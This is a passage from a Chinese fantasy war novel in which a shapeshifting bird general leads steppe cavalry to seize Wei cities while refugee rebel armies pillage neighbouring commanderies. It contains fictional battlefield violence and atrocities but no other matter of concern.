“老人家,别骂了别骂了,口干不干?肚饿不饿?要不要吃点?”林一很大方地递过去一把油炸蝗虫给抹眼泪直着脖子骂人的几个白发老守军。 骂得最凶的那个伸手要给她拍掉,林一立马收手,“咋,不吃别给俺扒拉掉地啊。” 白发老守军怒骂道:“我就是死,也不会吃你们异族的东西!你们最好给爷爷一刀,叫我们老兄弟死个痛快,黄泉路上不找你!” 林一吃了一把蝗虫,也跟着蹲在老守军边上,疑惑地道:“人都要饿死了,为什么不吃东西,异族?大家长着一样的手脚,恁看他们也是黑头发黑皮……” 苏赫忽律忽然回过头,秋日阳光下白得像在发光一样的二王子面露狐疑。 林一忽略掉他,指了指扒墙的苏赫骑兵们,“他们黑吧?大家只是生活习惯不一样,俺放羊,恁种地,俺就是想拿回六谷之地,自家种种地,这地明明也是之前魏人从俺那儿抢走的,总不能魏人可以抢,俺们不能夺回去。” 老守军怒道:“异族年年犯边,戮我子民……” 这是克烈部的事,但考虑到现在克烈部已经被完整收编了,林一想了想,问道:“被刀子砍死,和被饿死冻死,哪个比较惨?” 几个老守军又是一阵怒骂,林一从大量的骂声中提取出少部分回答:刀子砍头,痛痛快快,冻死饿死,惨绝人寰。 林一又嚼了几个蝗虫,香喷喷的油脂气味逸散在空气中。 城头已经快扒拉平整了,林一拍了拍屁股站起来,几个老头梗着脖子看着她,她挠了挠头皮,“这趟出来没带王澈,俺没法子说服你们,这样吧,恁争取多活几年,到时候你们再瞅瞅。” 为首的老守军一噎,老子还等着你再掰扯几句,然后再骂你一顿的,咋就不说了嘛? 不光不说,林一还匀给他们一些肉干奶酪之类的行军粮,留了几袋子茶叶,她之前就注意到了,这里的守军营地里好像没什么储备的样子,她不留下些物资,这些老头们可能真的活不了几年。 雪域骑兵们重新上马,扬起一路烟尘,老守军见有人要去拆军粮袋子,顿时怒喝道:“干什么?拿去扔掉!我们死也不吃异族给的东西!” 有个瘦老头舔了舔干燥的嘴唇,“不吃别的,能泡点茶叶子吗?伍长,四十年了,一年一年没调过地方,有点想茶水味了。” 又有人小声地说:“扔了人家也看不见,只当扔肚子里,上头都多久没发粮了,咱们现在守半天还出去放羊半天的,今年咱们开的地都叫蝗虫吃尽了粮,现在也没守住……” 白发苍苍的老伍长顿时流出眼泪来,一脚踢翻林一留下的军粮袋,被拆了一些的封口处马上滚出一些奶酪肉干。 干货其实没什么气味,但常年饥饿的人嗅觉异常灵敏,在场的人都闻见了肉和奶的香气。老伍长看着自己手下这群白发老兄弟,到底是摆了摆手,众人欢呼起来,当晚煮了奶汤泡软肉干吃,林一给的分量很多,而守军只有很少很少,所以一人分一大碗,老伍长则是不吃。 入夜,准备自刎的老伍长被老守军们捆了手脚,喂饱了一顿奶汤,接下来的日子每天都捆着他灌食。 不是答应了那娘们,说再活几年的嘛! 兵出长城,这事克烈部干过很多次,苏赫部可是头一回,夏季那会儿就扩编了军队,现在整个苏赫部骑兵三万,其中五千健妇军由格桑带领,呼兰霍兰自带呼兰军三千人马,苏赫忽律……他主要是起到一个花瓶的作用。 反正林一看到他就觉得是个小号的苏赫阿那,每天看看心情就很好哇! 这样一来,好像整个军队里作用最大的就是小漂亮了。 今日入夜,临近禄福,这几天一直都是白天睡觉晚上赶路,白天能避人耳目,毕竟林一要打的不是禄福郡,是要绕行禄福和甘泉二郡,东南方向行至武威,搞个大事情的。 林一化鸟而飞,准备监察一下周边动向,知己知彼才好确认攻打方案。 然后发现她可能不是这次战事的主角。 夜幕之中,林一盘旋天际,震惊地看着金城郡里火光冲天。朱二脑袋的流民大军不知何时打破的金城郡,到处是流民烧杀抢掠,穿绸衣的不分男女老幼全被拉到菜市砍头,也有布衣女子哭叫被流民拉走,青壮打烂老人头,金银酒器撒一地,城中内外流血十几里。整个金城郡乱作一团,到处充斥着哭嚎尖啸和疯狂大笑。 朱二脑袋已经彻底懵了,他没有下过什么令,城门一破,流民涌入,就成了现在这个样子。他试图呼喊阻止可没有用,喊得厉害了顿时就有人目露凶光,他嗫嚅着后退几步,瘫坐在一具衣衫不整的女尸旁。 这弄的是撒?他大哥明明说了不打穷苦人,不夺人家女娃,光收拾世族,可看看这些人咧,这奏是疯了啊! 第103章 毫无组织的流民军简直就是灾难。 朱大方那一路军还好,朱大方本身有些草莽英雄气,身边有三十多个一同起事的兄弟,在占下天水郡后都各自带了些兵力,后续又有匪头带人来投。这些匪头带人来投,主要是想混饭吃,人多的列个职,人少的收编了,虽然组织也很杂乱,人心不齐,但明面上都认这个第一个起义的大哥。 至于朱二脑袋,他都叫这个名了,搁在村里,他是个啥地位很难猜吗?放牛都指望不上他的人,一下子带上好几万的流民,要是能管得住,他就不会叫朱二脑袋了啊!可能是叫什么朱澈朱殊的了。 甚至有匪头看他懦弱的样子不顺眼,私底下讨论要不要给他做了,烦人的东西,这不让抢那不让睡,老子白跟着他攻城下寨?匪头里到底还是有精明人,做掉朱二容易,可朱大能答应?虽然觉得朱家兄弟没啥大本事,但人家手底下兄弟多啊! 林一嘎嘎乱叫几声,冲入疯魔的人群中,啄死了几个追打幼童的流民,这些人男女都有,打杀幼童不是为了玩乐,而是要把小孩子扔进锅里头。灾年人相食,魏朝这百多年间有过数次大灾,稍微上了年纪的流民都有一到两次这样的经历,但刚占下金城郡,粮库里还存放着去年陈粮,哪里就到吃人的地步了? 还有趁乱奸污少女的,林一一爪下去打烂半截腰,杀了有一会儿,可没有流民组织人手来打她这个“大怪鸟”,而是四散分逃,她到哪里人群就散开到哪里,最后林一浑身浴血,羽毛上的血色沾染到黑色鸟羽直往下滴血,她蹲在郡守府的屋檐上看着下方,怒气冲冲直嘎嘎:“嘎嘎↑嘎↓嘎嘎嘎←嘎↙嘎啊↘?” 没人听得懂,但来不及跑的流民和金城郡人都纷纷抱头瑟缩或跪拜哀求,可是真没辙啊!刚才也有莽子冲上去给大怪鸟爪子上砍了好几刀,那爪子和刀子发出金石相击之声,刀子砍卷了,爪子没得事! 林一也反应过来自己被气到直嚷母语了,深吸一口气,跳过指责部分,直接下决定:“这座郡守府,俺鸟大王要了,郡中平民进入郡守府范围内躲避,但凡有越界杀人者……” 巨鸟拍打翅膀,一阵狂风乱飞,大鸟张开血淋淋的喙,厉声叫道:“俺要他一命换一命。” 朱二脑袋也在底下,别人是跑不掉,他是听说有巨鸟救人(?),自己跑过来的,壮了壮胆子,用浓重的陕西口音说道:“代王!郡守府太小咧!而且他们不撒人,就进来祸害女娃子咋办?” 几个没能跑掉的匪头都惊呆了,对着一头杀人如屠鸡的鸟妖,这朱二脑袋是真能说上话啊!他就不怕死的吗? 哪知屋檐上巨鸟还真歪头想了想,然后盘旋了一圈,画了一片围郡守府的大地盘,将周围两三个坊市都包括了进去,又歪头说道:“祸害女娃……宰了是不是刑重了,那定一个标准,还回去咋样啊?” 朱二脑袋也是愣,大声地说:“咋个还啊,叫女娃睡回去?这不还是吃亏嘛!” 林一摆了摆翅膀,她又不是那种脑子不好的鸟。 给她灵感的是一种叫做伯劳的鸟类,她也混了这部分基因,但是小体型鸟的基因竞争力还是太弱了,在她外表上完全没有显露出来。但这种伯劳鸟可是星际毒鸟食文本里的常客,体型小小,天生残酷,外号穿刺公,有把猎物穿刺在树枝上的习性,通常作为反派出现,有时候还能当当最终boss。 当然她不是要穿刺这些人啊,多残忍,罪不至死的,不过可以还回去……嗯,相信你的第一直觉,没错的。 反正她一通嘎嘎,朱二脑袋是听明白了,也傻了,这鸟代王的想法可真的厉害了哇! 金城郡的事情暂且解决,林一的目标可不是这里,反而金城和安定那边的流民作乱,从战略意义上来说给她提供了一个趁火打劫的土壤,这可是直接切断了武威东南方向的援军,当然对于流民大军本身来说毫无意义。 林一压根弄不明白,这些流民军闹哄哄分散开来到处打家劫舍的意义何在,抢粮可能是一点,可是你抢完了这片地上的粮,又裹挟走了失粮的农户,人口堆雪球一样堆来堆去,是会形成很恐怖的规模的。到时候冲州过郡,哪里又能养得起这么多流民?人只会如同蝗灾里的蝗虫一样,最终无数人会死在奔波途中,剩一些青壮被收编罢了。 起义、很勇!超勇!但是,要带脑子的! 回到苏赫骑兵驻地,林一还在琢磨流民的事,她很想给这些流民找一个出路,趁着现在人口还只在十多万规模的时候,但是这边她带出来一万八千多骑兵,行军粮已经快不够了,甚至没法子支撑半个月,也就是说半个月内打不下武威,那咱也就是一伙装备精良些的流民罢了。 深吸一口气,暂时不想这些事,专心沉浸在战事上。 武威郡乃是雍西四郡之中的大后方,她是绕行张掖而来,直接切到武威面门前,下一步也是第一步至关重要。 呼兰霍兰和林一坐一起,面前简陋的羊皮地图铺开,苏赫忽律满脸不高兴坐在对面,也许是为了显得不那么孤单,乌珠骨碌也有幸入席,小心地坐在二王子身边。这趟虽然有健妇军参与,但格桑大娘不在,林一不为教学,主要想快速夺地盘,这局就不是指导棋,而是林一的单刷本。 虽单刷,但指挥意图需要通报下去,林一滔滔不绝,指点地图,说道:“武威郡下辖十县十城,县城距离很近,几乎都在同一条线上,有些像是洛都的天街,居中的就是武威郡治姑臧城,也是军事重镇,常备守军四千余。其余县城围绕姑臧,有两城略远,暂不计入考虑。所以我的方案是,打闪电战,今晚休息半夜,直接打入姑臧城,如若顺利明早再下鸾鸟城,两天之内打下苍松城,有此三城在手不惧张掖郡来援,我们有足够的时间拿下武威全境。” 苏赫忽律沉着地点了点头,但没有发表意见,没有发表意见的主要原因是他没有意见。 呼兰霍兰则是盯着地图,道:“今晚打姑臧,明天打鸾鸟,两天之内打苍松,三城连线,不惧援军,知道了。” 明明只是把林一的话重复归纳了一遍,但林一就是能从呼兰霍兰乌黑的眸子里看出来,他是真的懂了这套军事方案,忍不住咧了咧嘴巴。 鸟不易!鸟辛辛苦苦带了多少人学习,她的两位大才军师除外,然后除了韩小六之外,也就格桑大娘能懂她一半。 这几日都是白天休息,夜间赶路,人体是有生物钟的,习惯了这样的昼伏夜出,这会儿前半夜大家都还挺精神的,也是林一稍微出了些差错的地方,她不懂人的生物钟啊。 不过没关系,真要睡还是可以睡的,调整一下攻城时间更阴损,下半夜?不!人最困的时候可不是下半夜,而是凌晨。 睡前喝一碗奶汤,饱睡之后便溺干净,布带系上马嘴,骑兵们人均在口中叼一块肉干,防止发出声响,并尽量绕行村落,避免惊动太多人。骑兵就算不全力飞奔,速度也比步兵快得多,来到姑臧城下,正好是凌晨天将亮未亮之时。 呼兰霍兰弯弓对准几个站在城头巡夜的守军就要射下,忽觉不对,仔细看去,那些守军的姿势并不像是在守夜,而像是……集体靠在马面墙上打盹。 林一直接飞上去瞅了瞅,然后朝着众人两翅膀一摊,真睡着了。 她很贴心地用了差不多的力道,一人给来了一下,帮助他们睡得更昏沉,还把示警的鼓槌给扔下头去了,然后挥舞翅膀打起翅语。 很快有人搭梯子上来,众人齐心协力,从里面推开了厚重的城门,骑兵们长驱直入,城中有巡夜的兵丁,看到大军入城的前半截,手里的锣鼓敲打起来,然后就看到骑兵人数越来越多,越来越多,手里的锣鼓渐渐敲不下去了。 不是,我们姑臧城拢共三千个守军,没进城前还能守住,毕竟守城和攻城不是一回事,可这浩浩荡荡快两万骑兵进城了,就是把所有的守军都叫起来,拿头打啊? 这便是不宣而战、闪电战的优势所在了。 到天明时遭遇的抵抗可以忽略不计,大多是些小规模的抵抗,还有零星几个世族的部曲精兵颇有战力,但是骑兵对乡勇啊!额拿着全村最亮的砍刀站在地下,他骑在马上,光是朝我射了一根小箭,额就见到太奶了! 时辰还早,林一留下五千骑兵守城,众人吃了顿朝食再次出发,路上统一便溺,抵达鸾鸟城时消息还没传出去,终于到了林一最喜欢的攻城环节! 鸾鸟城的县官马诚上了城墙,远远看见底下上万的骑兵黑压压一片,人都麻了,马上叫来传令兵:“快!骑上最快的马,从南城门走,走小道,去姑臧城求援!” 传令兵领命而去。 传令兵又回来了。 额……姑臧好像关城门了,城头上大旗都给换了!换了一张不知道画了一堆啥玩意儿的旗帜,传令兵记忆很好的,还拿一块石灰在地上画了起来,简笔的。 一只鸡站在山水环绕的背景下,脚下踩着一只狗(?),嗯,应该画的是这个。 反正中等世族出身的马县官没有认出来这是何种规格的战旗。 第104章 这战旗来历不同寻常,乃是林一自己设计的,一只威风凛凛(简化版)的凤鸟意气风发站在塔塔尔部的圣湖和雪山之间,爪踩克烈狼头,翅膀下还夹着一把金斧钺。按理这么重的刺绣飘不动,但绣工们技艺精湛,使用最细的绣线,最好的手法,双面同绣,才使得这把大旗猎猎飘飞在战场上。 但就是先进得过分了些。 时下战旗大多以简洁为重,名将直接绣个姓氏上去,不怎么出名的则会在姓氏边上备注自己的武职,比如什么河西都尉,定雪将军,平雪将军之类,反正雪字辈的杂号将军不少。 魏朝军旗连图腾都不怎么用,听说之前有世族弄过什么家徽纹路,引得很多世族效仿,效仿着效仿着就不设计这玩意儿了。天下世族何其多,每家一个家徽图样,认不认得全不说,这里头很容易重复啊,有的故意弄得和人家一品大世族缺两笔,有的两家同等世族差不多的设计,怎么区分? 雪域和魏朝就是倒过来的了,他们用的图腾祖上大多是传下来的,比如圣湖雪山,比如狰狞狼头,啊对,也比如野生驴子。没那个实力你就别竖旗,有的部落图腾样式是奔马,还蛮像呼兰部落的野驴旗的,但也就自家里祭天时掏出来吹两天,其余时候哪用得着图腾旗。 不过,林一的组合式图腾哪怕在雪域也是超纲的,尤其是那只夹着斧头的鸟,她大概是没拍过照,不知道她这种脊背宽阔的鸟比较适合张翅造型,翅膀合拢起来,又只是平平无奇的站着的话,配合那明显的脑袋……真的很像一只黑羽鸡啊。 反正这会儿县官马诚也就根据战马和穿着判断出了底下的是雪域骑兵,一顿抓耳挠腮,急得浑身冒火。 “去催催,刘家主什么时候到?什么?兵临城下了他能跑哪去?啥子?提前跑的?” “苏家主那边……格老子的!他个猪儿虫也跑了?早上就跑了?” “老子城里没几个守军啊!这群狗草的把部曲全都带走了?剩了啥子?剩下妻女在家?老子日他先人的!” 马诚说守军没几个那是谦虚了,还是有几个的。鸾鸟城几年前守军定额一千,老元帅故去之后上头皇帝爷爷就削了一半军费,啥子意思呢?就是说人数就这个数,纸面上你这儿就是一千守军,但是军饷我给你砍一半,其余的朕不管。 于是马诚就把守军也遣了一半,剩下三百人,至于一千守军为啥子遣散一半还剩三百,这你问老子,老子去问哪个嘛,老子来的时候已经就这个样子咯。 然后就今天,鸾鸟城的守军还剩下一百五十几个人,不是马诚遣散的,而是有一半派出城*去收粮税了,按照惯例,这些分散去县里村镇收粮税的,会吃村里大户几天,有运气不错的可能还会带回来个乡下小媳妇儿。 马诚站在城头,迎着飒爽秋风,脸色跟十天没有大便一样。 他其实没有死战的想法,他是川蜀世家的子弟,边郡为官只是他进入洛都的一步阶梯,辛辛苦苦干几年下来了,族里刚来信说最近地方上乱,要活动活动,调他去河东郡过渡过渡。大好前程折在这里如何甘心?可投降雪域人?那他这辈子算有了!不仅家族名声扫地,他自己也前途渺茫,运气再坏些,可能就遗臭万年了。 回过头,看看底下有老有少的百十来个守军,最小的特么的是上个月老仆来找他开后门,叫他挂个名吃点饷的奴生子,十三岁,手里长矛还拿不稳,最老的看着都要不行了,秋老虎把老头晒够呛。 再看一眼,底下数以万计的人马黑压压的,一水的青壮骑兵,人壮马也壮,甚至还具有军事素养。完全不给他们往底下倒滚水的机会,人家非常专业地“远垒土石,以木合械”,即一边挖土堆起一个土斜坡,从远处一直堆到城头,大军即可长驱而入。砍伐树木现造粗陋的攻城器械,主要是投石机,可以在斜坡临近时投石避免干扰。 马诚已经够聪明了,看得出来林一的攻城意图,但还是漏掉了一点,挖土垒坡之外,还有一支人手正在挖掘地道,地道里往外运出的土也一起堆到土坡那边去,这叫双管齐下。 林一看着人手,挖一会儿换一批骑队,保证每个骑队都保有一些体力,毕竟也要防备城中开城门迎战,攻城守城可不是一方围着攻一方关死城门守,迎敌才是主流战法。 很可惜鸾鸟城里甚至没人会打仗,马诚一直拖到夜幕降临,斜坡越来越近城头,回头望了望城中民居,苦笑着开城门投了。 怎么打?这怎么打?但凡那些世族没跑,城里几家世族的部曲加起来也有千把人了,死守待援也能守些时日,可这些精似鬼的东西,早上得到消息就跑了!早上啊!他做县令的都不知道昨晚姑臧被打掉了,城中世族先得消息,然后跑啦!跑啦!为了不走漏消息,家里妻女都扔下来了! 城门一开,马诚就扑通一声跪在地上了,口称女君,林一摇了摇头,捶了捶背,“俺在你门口干一天活儿了,你要投不能早点,一整天光挖地了,还得填回去,也是遭罪。” 马诚头往地面磕,林一给他拎起来了,“没事没事,别撞脑袋,昨天姑臧城的事你大概不晓得,今天俺还要再保证一次。” “进城后不往民居跑,进城后不抢女娃男娃,这事现在归二王子管,有犯事的,向他举报。” 至于抢劫什么的,她没吭声,抢世族是肯定要抢的,这年头除了国库就是世族会屯粮,他们要养族人,族人要养部曲,部曲要养家糊口,这就是世族的根基所在,当一个村里的大部分青壮靠给人当部曲吃饱饭时,世族的地位就会固若金汤。 当年今年是不大稳当,魏朝这片土地从来就没有流民话事的时候,从前世族是王侯,相互攻伐叫国战。后来魏朝定鼎,王侯成了世族,偶有暴乱,那不叫起义,不叫举事,叫落草为寇,起不了大乱子的。最凶最厉害的也就是建几个大匪寨,还得建在世族看不上的穷乡僻壤。 朱大方这个屠夫带着三五万的流民下属,被安定郡守率领世族部曲打得抱头鼠窜的时候,可没有想过自己一时血性,就做下青史留名的大事。 和朱大方规模相差不大的则是起自西河郡的一伙流民,自北地郡、上郡之地涌来的一大批流民加入进来后,这伙西河流民军人数扩充到六万余。 不比朱大方还找了个军师,这伙西河流民军中号称七大王,七大王原本是一个村的,起事之后就平起平坐,遇事一起商量,比较排斥外来民头,因为人数过多,有民头提议南下打太原,七大王就不乐意了,去那么远打太原?咱们西河隔壁不就是雁门嘛,雁门很富庶的! 七大王压下所有不满的声音,说打雁门就打雁门,根据他们占领西河郡的经验来判断,那隔壁郡有啥不好打的? 魏末帝二十四年,太阳十月历的七月三十三日,西河乱民冲入雁门郡中,还没走到城池,就被城外富庶的村落吸引了注意力,四散去烧杀抢掠。两个先行出发的大王还在村头大屋里呼喝命令几个村姑脱衣裳,忽有马蹄声由远及近,随后一把金刀同时飞掠过两人脖颈,江骋玉面微霜,马蹄轻缓踏入农家小院,收刀归鞘,冷声道:“传令,暴乱之民,见之则杀,杀!” 有红着眼睛的流民从他马后举起斧头想偷袭,江骋也同时拔出背后陌刀当头一挥,顿时人头飞起三米多高,马蹄过处,一片血泊。 装备精良的步骑兵几乎是在割草,江骋一个人就杀了二十多个,身上盔甲血迹斑斑。他这趟出来带三千骑兵,五千步兵,流民总数六万余,号称十万大军,他压根不放在眼里。这会儿边杀边传令指挥,围三阙一,呈三面攻杀一面留空的阵势,但并不是让流民有个逃跑的方向,而是如同棋局之中的“征子”,边放边追,不时调整阙一的方向,几乎是轻松写意地屠戮着。 流民如同被驱赶去屠宰的羊群,烧杀抢掠的兴奋如潮水褪去,小半个月的癫狂仿佛一下子清醒了,再次回到了地里讨食的卑弱地位,不少人丢掉兵器跪在地上拼命磕头,哭声连天。 “贵人!小将军!求您饶命,饶命!我们只是被乱民裹挟的庄稼人啊!他们抢走了我们的粮,没法子才跟着他们的!” “我家就是雁门的啊!您一定是杨将军的子侄,杨家世代……” “求贵人放我们一马吧,我们不吃军饷也跟着您做事,做杨家部曲……” 能说出话的还算好的,大多数人都只会磕头,把头都要磕进地里去,远处还在追击,但附近的步骑兵都有些迟疑望向江骋,江骋看着跪了一地的流民,嘴角冷冷向下一撇。 “去挖坑,挖大些,埋了这些流民尸体。” 流民们大喜过望,有的被吓软了腿,只能互相搀扶着站起来,不敢挖掘农田,纷纷带上家伙,往远处山坳那边走去。 第105章 自古打仗,最快乐的当然不是刀斩人头,也不排除有人天生喜欢血淋淋,但大多数的兵员也都还是正常人,能叫他们快乐起来的无非是大胜,大胜之后有庆功,而且不再为接下来的战事而烦忧。 可惜林一马不停蹄,次日休息一天,接着向武威郡中其他县城进发,吸取上次在辽东的教训,能抓到的世族暂时先不杀,留着看能不能掏出些啥,而且也没时间浪费。 攻打一郡以上的土地,最让人头疼的就是已占之地需要留兵镇守,她在姑臧和鸾鸟两城各留一千骑兵,剩余骑兵一万六千人。想了想,分兵两路,她自己带领一路去打苍松城,留六千骑兵给呼兰霍兰,倘若张掖方向来援,他需要阻击,给她拿下武威全境的时间。 呼兰霍兰从大营出来后就很沉默,当然他沉默不是一天两天了,这趟他离开雪域,身边没有族老,而是两个堂弟,一个叫呼兰因达浑,一个叫呼兰阿塞得。挺难记的两个名字,不过如果翻译成魏朝文字的话就比较好记一点,因达浑是“让狗停下”,阿塞得是“狮子”,很常见的雪域名字,如果不是姓野生驴子的话。 野生驴子让狗停下看到族长堂哥停步,疑惑地看了看身后,压低声音说:“霍兰大哥,可敦让你带六千勇士,你不高兴了?” 他们呼兰部落也就今年富裕些啊,平时哪带过这么多勇士,这还不高兴?野生驴子狮子也说:“是啊,嘴角都向下了,其实六千勇士足够做很多事情了,魏人软得像小绵羊一样,没准我们能带着这些勇士打出一大片草场!” 高大的呼兰霍兰沉默着推开两人往前走去。 还是和以前一样,除了族老,完全没办法和其他人沟通啊。 两个堂弟被拨开,也是感叹一声:还是和以前一样,完全没办法和霍兰大哥沟通啊。 次日天明,林一带上刚从世族库房里掏出来的粮米,整数一万的雪域骑兵向苍松城进发,呼兰霍兰则以鸾鸟城和姑臧之间的谷水河扎营,静候来敌。 扎营是雪域人的拿手活计了,这天气扎营不是为了晚上睡觉,而是建造防御工事一类,马匹在里面,人在外围。马是一种很容易受惊的动物,如果马的位置安排不对,那么恭喜,敌军半夜来放跑你的战马,提前锁定败局。 拉拉杂杂砍了些树,呼兰霍兰不忙活这些体力活,只去砍了两棵高大榆树回来,锯掉多余部分,做了两杆用于挂旗的旗橹,一杆挂上野驴旗,一杆挂上鸡踩狗旗(?),啊对,雪域人自己也是这么叫的。 然后呼兰霍兰就独坐在高台上,看着两杆并立的旗帜,一直到天黑。 呼兰因达浑盛了两碗稀饭过来找他,稀饭里放着两块撕得碎碎的牛肉干,呼兰霍兰接过碗,像喝水一样几口喝完,又把空碗还给呼兰因达浑,然后起身,说道:“走,夜巡大营。” 野生驴子让狗停下迟疑片刻,今晚消息能传到张掖郡就不错了啊,今天到底有什么夜巡的必要呢? 但是后半夜的时候他就明白了,巨鸟的嘎嘎声从营外一路回到营帐内,他揉着眼睛去到主帐那边的时候,亲卫已经把话和他说了三遍!顺得实在是不行!刚到苍松城下,打了有一个多时辰,还包括骂战的时间,苍松县令就从特意留出的南门薄弱点跑了,县令一跑,城里就乱了,大军进城之后刚准备休息,林一看天色还早,大家也都不怎么疲惫,那还有啥说的,走!带你们再下一城去! 然后夜里打掉了张掖城,嗯……确实是这样,武威郡下辖十城,郡治姑臧,但其他的城名听起来更像是郡治,比如武威郡武威城,再比如武威郡张掖城,它把不光把自己的郡名拿来做县城名,还把别的郡名拿来自己做城名。 不管这些郡城之间的恨海情天了,单说林一三天下四城,怎么不能尊称她一声大鸟战神! 林一把骑兵留在苍松城休整,自己折返回来,报讯是一点,还要路过谷水河去张掖郡看看情况,打仗这种事,知己知彼百战百胜,这兵法口诀可能流传太广显得有些烂大街了,但这就是打胜仗的绝对真理。林一每次打仗都直接报出对方城中有多少守军,放在其他武将那边,别说打听这些情报了,有时候稀里糊涂一场遭遇战打完,是在战后才知道自己和哪个军队打的,就是这么离谱。 名将不世出,当世出一人,那就盖压天下几十年,出两人,那就出事故了!出好几个,那真是大劫之世。 春秋战国时有一位姓李的名将,一人领兵撑起一个国,敌国明明国力强盛,但就是攻不下这当世名将,最后使了阴招、也不能算阴吧,赢棋有时候不必非要局限在棋盘上,有时候可以用棋外招,也有人直接用棋盘,跳出格局才是格局……总之就是赖人家谋反,搞离间计,让那国的国君阴死了他。 当然,这和林一无关,她只是一个笨鸟先飞的将主,只打稳稳当当的战事,绝搞不来以弱胜强的战术。 呼兰霍兰光着膀子,上身只围了一块毡布防止溅射热油,在简陋的石头灶台前给林一煎鸡蛋吃,林一一边喝白米粥一边张嘴等投喂,是个吃煎蛋流水线。为了方便点,她化成大鸟模样,一爪托锅喝粥,那边煎好放凉一些的鸡蛋时不时就喂到大张的鸟嘴巴里。 一边吃,一边还有嘴说话:“苍松城去得早,里头世族没跑掉多少,好像有两个跟着县令跑的,那也没什么……你说这鸡蛋,怎么油煎一煎这么好吃呢?” 呼兰霍兰正在思考如何回答前一句话,被转折到鸡蛋上,脸上露出些许茫然之色,很快他又准备回答鸡蛋的问题,林一又说道:“现在我们有了后方,就可以给勇士们歇两天了,以逸待劳等张掖援军,不过魏朝这个情况,我觉得援军有没有都说不准。” 她用爪子挠了挠脑袋上的几根凤毛,啄了口热粥,“天要亮了,你一夜没睡,等会儿去睡吧,大营这边有我看着,我两边飞飞就当晨练了。” 这次呼兰霍兰终于点了点头,犹豫片刻,一整夜了终于开口说了第一句话,清润好听的声音带着几声雪域语的弹舌,“休息两日,你没睡好。” 八个字十六个音节,像唱歌一样的雪域古语。 林一的耳羽都颤了颤,低头假装去啄食煎蛋,糊了一喙的蛋黄渣渣。 他为什么这样看着鸟,是不是想和鸟嘎嘎嘎?好像有,好像又没有,这种若即若离引人遐想的态度也是野生驴子部落祖传的手段吗?真是……骚啊,林一反正是咽了一下口水。 最终呼兰霍兰拢共给林一煎了十二个鸡蛋,她又喝了一锅粥,吃饱喝足在营地内外溜溜达达,骑兵们都认得她的鸟身,见到纷纷低头握拳抵胸口。这礼节大家做得很熟练了,林一自己都想不起来这“我对您绝对忠诚”的礼节动作,从什么时候开始所有人都在对她做的。 如此两边跑了几日,张掖那边果然来了援兵,但不是张掖本身的守军,而是张掖、甘泉和玉门三郡之世族的部曲临时编成的私军。 这支私军由几名家将带领,人数超过三万,身上装备不算精良,但最少也缝了简陋的麻绳皮甲,即麻绳硬化缠绕胸口腹部等致命部位遮挡,其余部分使用动物皮做缓冲。至于地位更高一些的则是泡过桐油的木甲,也有更好的,四名大郡望的家将就人均一副玄铁甲,甲片紧实细密,保证他们基本不会在对砍和流矢中受到致命伤害。 而这个季节的雪域人嘛……开玩笑,哪有秋天了不穿几件皮子的哦!哦,也有,呼兰霍兰。 光膀子的呼兰霍兰上阵迎敌时就被弓箭手优先照顾了,他在战马上辗转腾挪避开一轮箭矢,马上弯弓反击。他的箭是连珠箭,牛角弓弯成满月,数箭下去就射倒一片弓手。 随后战马嘶鸣被他单手控住,一人一马冲入敌阵之中,起初手上拿着马槊,杀到性起马槊一扔,夺了两把铁锤继续屠戮,从林一的指挥位来看,呼兰霍兰的方位非常明显,因为他所到之处马上就会空出大片,部曲也是人,是人就会怕。 呼兰霍兰最后回到林一身边时,骑的马从黄马变成了一匹白马,手里是新抢来的一把单边戟,也叫戟刀,上面挑着两个家将的人头。 三万世族私军匆匆扔下一地尸体逃散,只恨自己跑不过骑马的家将,还有人躲尸体堆装死,黏腻的血用手抹了满脸,趴在地上不敢动分毫,只盼着能躲过这场生死劫。 马蹄声和脚步声乱糟糟的,装死的部曲也不知等了多久,才等到声音渐去,仿佛是夜幕降临,有飞鸟啼叫声幽幽。 陆陆续续有十几人爬了起来,然后拼命朝着张掖郡的方向跑去。 又陆陆续续爬起来百十多人,追着前面人跑。 后半夜的时候,地上的尸体们……站起了大半,确认了周围没有人,都不敢发出太大的动静,蹒跚着往回走,回去世族那里?放屁!赶紧回村躲躲是正经。 剩下的,真死的尸体不太多,有很多是想着立功劳的青年人,第一轮冲杀过去的时候不遗余力,然后就死得很快。 林一一直等到天亮,又带人来了一趟,才把尸体给挖大坑掩埋掉了,出征前王澈提醒过,别堆什么京观,战场一定要清扫,战后一定要洗澡。大灾之年易生疫病,人尸也是疫病的一种来源,埋尸时不可掩埋太浅,也不能葬在水边,当然更不能图省事烧掉。 时人事死如事生,烧骨化灰代表成了孤魂野鬼,最贫贱的佃农辛辛苦苦干了一辈活,能奢求的除了饿不死,就是主家感念他们本分,许他们一块地入土为安,魏人接受不了烧尸,这对主君名声不利。 鸟大王全部照做,战事之外的事,林一很信服王澈这个阴间版卧龙,他是有两把轮椅的人。 第106章 魏末帝二十四年八月初九,武威全境唯有最远的谷水上游休屠泽一带的武威县城还没有攻打,主要是因为太远了也懒得去打。 孤悬之城,其实没太多打下来的必要,东南是沙漠,和魏朝连通的路径已经被切断,就和打辽东时被略过的几座城池一个样,军事目标历来都有先后的。 下一个目标自然是张掖郡,所谓张掖,张国臂掖,如果说武威是负责屯兵屯粮的肩膀头子,张掖郡就是伸向西域的胳膊。张掖郡整体在地图上也呈现出一条臂膊的形态,两侧山地和沙漠造就唯一通道,六谷之地多河流,堪称沙漠绿洲,是商旅往来必经之路。 能在张掖郡站稳脚跟的世族不可能简单得了,但张掖郡同样没有大世族扎根,或者说边郡一带都没有,至多有些什么支脉过来经商赚钱,世族本体不可能放弃王朝富庶之地跑来边郡的,总体来说,属于有钱但没有底蕴的那种。这点也体现在他们的军事力量上,世族部曲的装备虽然很好,但没有大世族世代养的私兵那样忠诚敢死,差不多等于个雇佣制。 和武威郡一样,张掖也是统辖十县十城,分别为觻得、昭武、删丹、氐池、屋兰、日勒、骊靬、番和、显美和居延,在世族部曲那一战之后,林一就已经打掉了张掖临近武威的几座城,分别是日勒骊靬番和显美四城。这里头有些地理上的纠葛,显美位于张掖和武威郡之间,在魏朝纸面上属于武威郡,但显美人自己更愿意做“张掖显美”,只因张掖比武威富庶许多。 反正林一是打下显美城后才知道他们自认是张掖郡的城池的,这些城池争端目前林一也就看个乐呵而已。 虽有张掖三城、加上显美也可能算四城在手吧,但是张掖核心城池仍然难攻,想要威胁到郡治觻得城,就要先打开门户锁钥删丹。 删丹乃是张掖郡东端门户之所在,在祁连山之北,扼守焉支山隘口,拥有边郡最大的马场,自身乃是武威郡通往张掖郡的咽喉之要道。 